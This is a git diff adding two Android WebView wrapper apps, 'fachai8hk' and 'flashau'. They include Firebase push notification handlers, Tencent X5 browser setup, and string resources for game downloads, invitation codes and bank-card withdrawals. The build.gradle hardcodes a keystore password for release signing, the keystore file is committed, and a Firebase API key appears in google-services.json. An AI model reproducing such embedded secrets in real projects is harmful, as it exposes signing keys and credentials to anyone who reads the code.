showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/fachai8hk/src/main/java/com/web/fachai8hk/WebApplication.java b/fachai8hk/src/main/java/com/web/fachai8hk/WebApplication.java new file mode 100644 index 0000000..0c8c48a --- /dev/null +++ b/fachai8hk/src/main/java/com/web/fachai8hk/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.fachai8hk; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/fachai8hk/src/main/res/drawable-anydpi/ic_action_back.xml b/fachai8hk/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/fachai8hk/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/fachai8hk/src/main/res/drawable-hdpi/ic_action_back.png b/fachai8hk/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/fachai8hk/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/fachai8hk/src/main/res/drawable-mdpi/ic_action_back.png b/fachai8hk/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/fachai8hk/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/fachai8hk/src/main/res/drawable-v24/ic_launcher_foreground.xml b/fachai8hk/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/fachai8hk/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/fachai8hk/src/main/res/drawable-xhdpi/ic_action_back.png b/fachai8hk/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/fachai8hk/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/fachai8hk/src/main/res/drawable-xxhdpi/ic_action_back.png b/fachai8hk/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/fachai8hk/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/fachai8hk/src/main/res/drawable/big_bg.xml b/fachai8hk/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..387a2de --- /dev/null +++ b/fachai8hk/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/fachai8hk/src/main/res/drawable/ic_launcher_background.xml b/fachai8hk/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/fachai8hk/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/fachai8hk/src/main/res/drawable/input_bg.xml b/fachai8hk/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/fachai8hk/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/fachai8hk/src/main/res/drawable/pass_word_bg.xml b/fachai8hk/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/fachai8hk/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/fachai8hk/src/main/res/drawable/pass_word_bg1.xml b/fachai8hk/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/fachai8hk/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/fachai8hk/src/main/res/drawable/pass_word_bg2.xml b/fachai8hk/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/fachai8hk/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/fachai8hk/src/main/res/drawable/shape_btn_bg.xml b/fachai8hk/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/fachai8hk/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/fachai8hk/src/main/res/drawable/shape_dialog_bg2.xml b/fachai8hk/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/fachai8hk/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/fachai8hk/src/main/res/drawable/shape_dialog_bg3.xml b/fachai8hk/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/fachai8hk/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/fachai8hk/src/main/res/drawable/shape_dialog_bg_new.xml b/fachai8hk/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/fachai8hk/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/fachai8hk/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/fachai8hk/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/fachai8hk/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/fachai8hk/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/fachai8hk/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/fachai8hk/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/fachai8hk/src/main/res/mipmap-hdpi/ic_empty.png b/fachai8hk/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/fachai8hk/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/fachai8hk/src/main/res/mipmap-hdpi/ic_pull_down.png b/fachai8hk/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/fachai8hk/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/fachai8hk/src/main/res/mipmap-xhdpi/ic_close.png b/fachai8hk/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/fachai8hk/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/fachai8hk/src/main/res/mipmap-xhdpi/ic_menu.png b/fachai8hk/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/fachai8hk/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/fachai8hk/src/main/res/mipmap-xxhdpi/app_logo.jpg b/fachai8hk/src/main/res/mipmap-xxhdpi/app_logo.jpg new file mode 100644 index 0000000..725e516 Binary files /dev/null and b/fachai8hk/src/main/res/mipmap-xxhdpi/app_logo.jpg differ diff --git a/fachai8hk/src/main/res/values-en/strings.xml b/fachai8hk/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/fachai8hk/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/fachai8hk/src/main/res/values-night/themes.xml b/fachai8hk/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/fachai8hk/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/fachai8hk/src/main/res/values/colors.xml b/fachai8hk/src/main/res/values/colors.xml new file mode 100644 index 0000000..f01f82e --- /dev/null +++ b/fachai8hk/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #e5e6e6 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/fachai8hk/src/main/res/values/strings.xml b/fachai8hk/src/main/res/values/strings.xml new file mode 100644 index 0000000..e108c1c --- /dev/null +++ b/fachai8hk/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + FACHAI8HK + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/fachai8hk/src/main/res/values/themes.xml b/fachai8hk/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/fachai8hk/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/fachai8hk/src/main/res/xml/app_updater_paths.xml b/fachai8hk/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/fachai8hk/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/fachai8hk/src/main/res/xml/network_security_config.xml b/fachai8hk/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/fachai8hk/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/fachai8hk/src/main/res/xml/provider_paths.xml b/fachai8hk/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/fachai8hk/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/fachai8hk/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/fachai8hk/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/fachai8hk/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/flashau/.gitignore b/flashau/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/flashau/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/flashau/build.gradle b/flashau/build.gradle new file mode 100644 index 0000000..e4b8623 --- /dev/null +++ b/flashau/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.flashau" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + release { + storeFile file('ppn.jks') + storePassword "2014123456" + keyAlias 'key0' + keyPassword "2014123456" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "flashau" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/flashau/google-services.json b/flashau/google-services.json new file mode 100644 index 0000000..18a3f23 --- /dev/null +++ b/flashau/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "159455094658", + "project_id": "flashau-4aba1", + "storage_bucket": "flashau-4aba1.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:159455094658:android:b2d97233915d47dac3d19b", + "android_client_info": { + "package_name": "com.web.flashau" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyAx_hStV_sLShTSG4_IiL_ea6-CLFdZio8" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/flashau/ppn.jks b/flashau/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/flashau/ppn.jks differ diff --git a/flashau/proguard-rules.pro b/flashau/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/flashau/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/flashau/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/flashau/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/flashau/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/flashau/src/main/AndroidManifest.xml b/flashau/src/main/AndroidManifest.xml new file mode 100644 index 0000000..72ebc62 --- /dev/null +++ b/flashau/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/flashau/src/main/java/com/web/flashau/MainActivity.java b/flashau/src/main/java/com/web/flashau/MainActivity.java new file mode 100644 index 0000000..863f971 --- /dev/null +++ b/flashau/src/main/java/com/web/flashau/MainActivity.java @@ -0,0 +1,49 @@ +package com.web.flashau; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import com.bumptech.glide.Glide; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 165; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://flashau.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#243a63"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#3779a2"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/flashau/src/main/java/com/web/flashau/MyFirebaseMessageingService.java b/flashau/src/main/java/com/web/flashau/MyFirebaseMessageingService.java new file mode 100644 index 0000000..6020dd6 --- /dev/null +++ b/flashau/src/main/java/com/web/flashau/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.flashau; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/flashau/src/main/java/com/web/flashau/WebApplication.java b/flashau/src/main/java/com/web/flashau/WebApplication.java new file mode 100644 index 0000000..3c756d9 --- /dev/null +++ b/flashau/src/main/java/com/web/flashau/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.flashau; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/flashau/src/main/res/drawable-anydpi/ic_action_back.xml b/flashau/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/flashau/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/flashau/src/main/res/drawable-hdpi/ic_action_back.png 